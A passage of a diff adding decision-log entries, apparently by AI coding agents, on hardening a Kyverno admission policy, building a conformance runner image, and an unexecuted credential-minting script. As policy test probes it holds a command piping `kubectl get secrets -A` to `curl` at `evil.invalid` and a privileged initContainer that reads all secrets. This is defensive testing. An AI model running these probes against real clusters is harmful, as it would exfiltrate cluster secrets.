+header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
+
+I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
+which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
+is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
+considered rather than missed.
+
+## What I verified
+
+### Admission, proven with the pinned CLI rather than assumed
+
+kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
+
+    ##### the real rendered template MUST PASS
+    Applying 7 policy rule(s) to 1 resource(s)...
+    pass: 7, fail: 0, warn: 0, error: 0, skip: 0
+
+    ##### the coordinator's exact initContainer probe MUST FAIL
+    1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+    ##### same escalation via ephemeralContainers MUST FAIL
+    1 - trigger-may-not-declare-ephemeral-containers ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
+compliant and `serviceAccountName: conformance-runner`:
+
+- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
+  `kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
+- the committed template with **only** the init container's `args` swapped for
+  `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+  → `pass: 3, fail: 0` — **ADMITTED**
+
+Negative controls on the same rendered template, showing the original rules do bite where they
+look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
+`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
+`/spec/template/spec/containers/0/command/`.
+
+Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
+
+| resource | creat | vols | args | init | ephem | envnm | envfr |
+|---|---|---|---|---|---|---|---|
+| `real-template` | pass | pass | pass | pass | pass | pass | pass |
+| `good-run` | pass | pass | pass | — | pass | — | pass |
+| `evil-command` | **fail** | pass | — | — | pass | — | pass |
+| `evil-image` | **fail** | pass | — | — | pass | — | pass |
+| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
+| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
+| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
+| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
+| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
+| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
+| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
+| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
+| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
+
+`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
+init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
+column, and it is why the fixtures are worth more than the rules' prose.
+`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
+correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
+That is why env had to be its own rule and not a condition bolted onto the init rule.
+
+The rendered template is now a fixture (`real-template` in
+`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
+admission fails `make -C ci l0` instead of failing at 2am.
+
+### How strong that evidence is — the `kyverno test` load trap
+
+`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
+prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
+Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
+separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
+`Test Summary: 9 tests passed and 0 tests failed`.
+
+So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
+`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
+alone — or the green `l0` line in the gate below — would **not** on its own establish that these
+rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
+`error: 0, skip: 0` in the numbers above, not the exit code.
+
+Two further limits on what a CLI pass proves:
+
+- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
+  fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
+  filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
+  that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
+  `kyverno apply`.
+- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
+  admission in the cluster.
+
+### Two Kyverno traps, both of which silently invert the result
+
+Both are now commented in the rules:
+
+- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
+  ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
+  `false` into `true` and denies every good Job.
+- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
+  `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
+  `["/bin/sh","-c",…]` through on element 0.
+
+### The results envelope
+
+**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
+head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
+check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
+`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
+verified; its transport over `kubectl logs` from a real Pod is not.**
+
+### Gate
+
+Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
+`.git`, per CLAUDE.md §3):
+
+    diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
+    touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02

+    MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
+      Stages that did not run: gitea-settings
+    rc 3
+
+Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
+says nothing about Gitea's branch protection or runner registration, and the seven touched
+requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
+itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
+merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
+(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
+well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
+eye — though that stage checks *structure*, never whether any claim inside it is true.
+
+### The `approval-policy` check this PR was expected to fail does not exist
+
+I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
+security-relevant. **That check does not exist.** Measured rather than assumed:
+
+    grep -rn approval .gitea/workflows/     ->  no match
+    GET /repos/.../branches/main
+      protected                    True
+      user_can_push                False
+      enable_status_check          True
+      status_check_contexts        ['gate / gate (pull_request)']
+      required_approvals           1
+    GET /repos/.../commits/<head>/statuses
+      success   gate / gate (pull_request)          Successful in 1m36s
+      pending   gate / conformance (pull_request)   Blocked by required conditions
+
+The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
+that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
+approval policy in CI anywhere in this repo.** What actually stops this merging is
+`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
+self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
+by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
+
+**Consequence worth acting on:** a change under `conformance/**` — including a change to the
+admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
+path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
+policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
+`paths:`-scoped required check would be the mechanism; neither exists today.
+
+The PR was **not merged** and nothing was worked around.
+
+### Process note, worth more than the policy fix
+
+Both halves of the security finding came from **probing rather than reading**. The hole was not
+visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
+explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
+policy is only as trustworthy as its negative fixtures.
+
+### Addendum — rebased onto `main` after #18 landed (2026-09-29)
+
+This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
+`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
+file (see `decisions/README.md`).
+
+The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
+where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
+`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
+`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
+
+One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
+carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
+["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
+in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
+`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
+`main` documenting an open hole that had just been closed, which is the same
+documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
+rebase: every file but that README is byte-identical to the pre-rebase tip.
+
+## What I did NOT verify
+
+- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
+  exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
+  clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
+  all **unexercised**. The envelope itself is verified; its transport is not.
+- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
+  now on `main` and this branch was rebased onto them. What that changes is only *availability*:
+  if the path were missing or named differently the init container would fail to start, and if the
+  image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
+  image has been built or pushed, so the digest this branch pins still resolves to nothing.
+- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
+  name is referenced here.
+- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
+  not been built. If the Containerfile picks a different uid, the Job will not start.
+- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
+  the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
+  assertion turns that into a loud failure rather than a wrong-tree run.
+- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
+  Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
+  `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
+  *template* nested in a Job, and I found no definitive answer. Establishing it needs a
+  `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
+  so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
+  field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
+  boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
+  the rule should stay either way.
+- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
+  or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
+  trigger identity in a live admission request.
+- **Admission was never exercised by a real API server** — only by `kyverno apply` against
+  manifests. A policy that a CLI accepts can still behave differently once installed.
+- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
+  there is deliberately partial, not complete.
+- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
+  entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
+  reviewed change. That is the intended failure direction, but it is a coupling the next person
+  editing either script needs to know about, so it is called out in the rule's message.
+- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
+  branch changes nothing about what CI does today.
+- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
+  conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
+  runtime behaviour.
+- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
+  frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
+  sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.

+title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
+[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
+merged** — an agent cannot, and should not.
+
+### The defect, stated plainly
+
+`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
+`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
+and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
+have failed at exec of `./run.sh` before a single test ran, and the only place that would have
+surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
+it in the archive: a manifest that *described* a working mechanism, with nothing measuring
+whether the mechanism existed.
+
+### What landed
+
+- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
+  chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
+  fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
+  `fedora-minimal` and carries no downloader).
+- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
+  prints the digest, and **never pushes**.
+- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
+  addendum below).
+- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
+- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
+  `image:`.
+
+`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
+and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
+Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
+forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
+
+Two things the admission boundary forced, both of which would otherwise have been discovered
+at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
+reject a named user), and every writable path must live under `/workspace` (the pod is
+`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
+`safe.directory` is therefore written to `/etc/gitconfig` at build time.
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
+
+### The chainsaw supply-chain gap, stated accurately
+
+The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
+URL". Literally true, and misleading: it reads as "no integrity option exists". The release
+assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
+each tarball. So verification IS available; it needs cosign in the builder stage and the right
+keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
+sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
+Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
+decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
+same gap for the same binary.
+
+### Addendum — `/usr/local/bin/conformance-clone`
+
+Added at the coordinator's request, to close half of the admission gap a sibling agent found:
+the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
+from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
+arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
+author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
+`kubectl get secrets -A`).
+
+The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
+replace the one executable the policy will come to trust. Clone logic taken from PR #20's
+`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
+`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
+accepted.
+
+**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
+taken from the environment.** The brief said to take SHA, repo URL and target dir from the
+environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
+script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
+trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
+the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
+vars are still read so the Job template stays self-documenting, but a value that disagrees with
+the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
+is the SHA.
+
+**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
+path *required* rather than merely *available* is a 4th policy rule demanding
+`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
+rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
+branch. Until it lands, the hole is open.
+
+The anonymous-clone fallback is deliberate and announced in the script's log line: read access
+to this repo needs no credential today, the integrity guarantee here is the SHA assertion
+rather than the credential, and requiring the Secret would have made the script untestable
+without one.
+
+### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
+
+`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
+selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
+`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
+the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
+offline in the same CI run.
+
+So **the plan's own invocation shapes do not work on this image.** `--layer all
+--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
+documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
+must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
+to nothing.
+
+**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
+layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
+checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
+documented in the Containerfile header and the incluster README so it cannot be rediscovered
+from a pod log.
+
+### Follow-ups this creates
+
+1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
+   `CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
+   not the local manifest digest the build printed.
+2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
+   wildcard with the literal digest, closing the residual "anyone who can push to this path"
+   gap. Separate, human-reviewed PR — it edits the security boundary.
+3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
+   carrying an image reference that admission would deny.
+4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
+   Without it, `conformance-clone` is available but not required, and the injection hole is
+   still open.
+
+### Rework note — why this entry is a file and not an append
+
+This branch originally carried its handoff as a ~236-line append to the tail of
+`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
+and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
+its substance moved here verbatim in meaning; the branch now touches no file outside
+`conformance/`. Nothing about what the code claims to have proven was changed by that move.
+
+## What I verified
+
+### The image, by running it — not by a green build
+
+As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
+(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
+non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
+`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
+`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
+in-image verification still passed.
+
+### The init-container clone path, end to end
+
+From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
+`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
+notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
+HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
+anonymous read is currently open — the plan's read-only deploy token buys authorisation
+hygiene, not reachability.
+
+`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
+`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
+exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
+instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
+**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
+workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
+SHA, with `rev-parse HEAD` proven equal to the requested SHA.
+
+Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
+matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
+checks were written as pipelines, which under `pipefail` aborted the verify at the first
+expected failure and silently skipped the remaining six. A verify that stops early looks
+identical to a verify that passed.
+
+### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
+
+My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
+`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
+checking it. It is not true:**
+
+| Claim | Measured |
+|---|---|
+| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
+| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
+| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
+
+What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
+and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
+a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
+agent still cannot merge" send a reviewer to different places. Left in as a correction rather
+than quietly deleted.
+
+### What PR #18's CI actually did, read out of the job log
+
+Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
+because a skipped Gitea job reports `success`:
+
+    [skip] stage spec-immutability: SKIPPED (not run)
+    [ ok ] stage lint: pass
+    [ ok ] stage l0: pass
+    [ ok ] stage render-golden: pass
+    [ ok ] stage l1: pass
+    [ ok ] stage gitea-settings: pass
+    [skip] stage conformance: SKIPPED (not run)
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+
+`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
+by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
+`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
+that stage can only skip. That measurement predates this rework's force-push; CI has not been
+re-read since.
+
+### The gate, on the reworked branch, today
+
+    ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    → rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
+
+    [ ok ] spec-immutability   [ ok ] decisions-log   [ ok ] lint
+    [ ok ] l0                  [ ok ] render-golden   [ ok ] l1
+    [skip] gitea-settings      (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    [skip] conformance         (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
+    Stages that did not run: gitea-settings
+
+`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
+frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
+Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
+Touched requirements resolved to
+`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
+is **not** a green run and is not offered as one.
+
+### The rework itself
+
+`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
+file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
+is empty, so the code is byte-identical to the pre-rework tip, file modes included
+(`build-image.sh` and `conformance-clone` both `100755`).
+
+## What I did NOT verify
+
+- **The image has never run in the cluster.** Everything above is local podman. Admission has

+title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
+---
+
+## What changed
+
+Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
+`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
+`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
+changing Gitea variables are operator actions; nothing was minted, no Gitea object was
+written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
+not about the platform.
+
+*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
+**only that token** with the cluster CA and server into a kubeconfig, stores it as the
+Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
+prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
+precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
+argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
+under `set -x`.
+
+*The design decision worth reviewing: TWO precondition classes.*
+
+- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
+  `conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
+  fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
+  `serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
+  `conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
+  (plan §4); minting before the boundary is live would hand CI the escalation the boundary
+  exists to close.
+- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
+  plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
+  referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
+  variable, because storing the secret early is harmless and is the plan's own order.
+
+**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
+`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
+skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
+names the trigger kubeconfig only in its TODO comment). So on a live run today the script
+would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
+missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
+work that unblocks it.
+
+*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
+HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
+the object back. For the secret that is presence-by-name only (Gitea never returns secret
+values) and the script says so rather than implying the content was checked; for the variable
+it asserts the value reads back as exactly `true`.
+
+*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
+detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
+`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
+closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
+(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
+local-run environment variable, never as CI wiring, because the secret that would feed it
+cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
+it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
+secret `GITEA_SETTINGS_TOKEN`, which is impossible.
+
+*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
+`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
+PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
+`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
+`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
+commits; the commit that contained only the log append was dropped and its substance folded
+in below.
+
+## What I verified
+
+*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
+must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
+round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
+(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
+pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
+`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
+says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
+property of the code as read, not of an execution.
+
+*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
+this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
+security-relevant. Measured on the PR head commit's `/statuses`:
+
+    gate / gate (pull_request)          success   Successful in 1m34s
+    gate / conformance (pull_request)   pending   Blocked by required conditions
+
+`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
+**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
+paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
+actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
+believed to exist because a brief said so. If the policy is intended, it is missing and needs
+its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
+script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
+
+*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
+plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
+Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
+`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
+green; the gate decision names exactly one stage that did not run — `gitea-settings`
+(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
+`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
+`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
+file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
+`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
+
+## What I did NOT verify
+
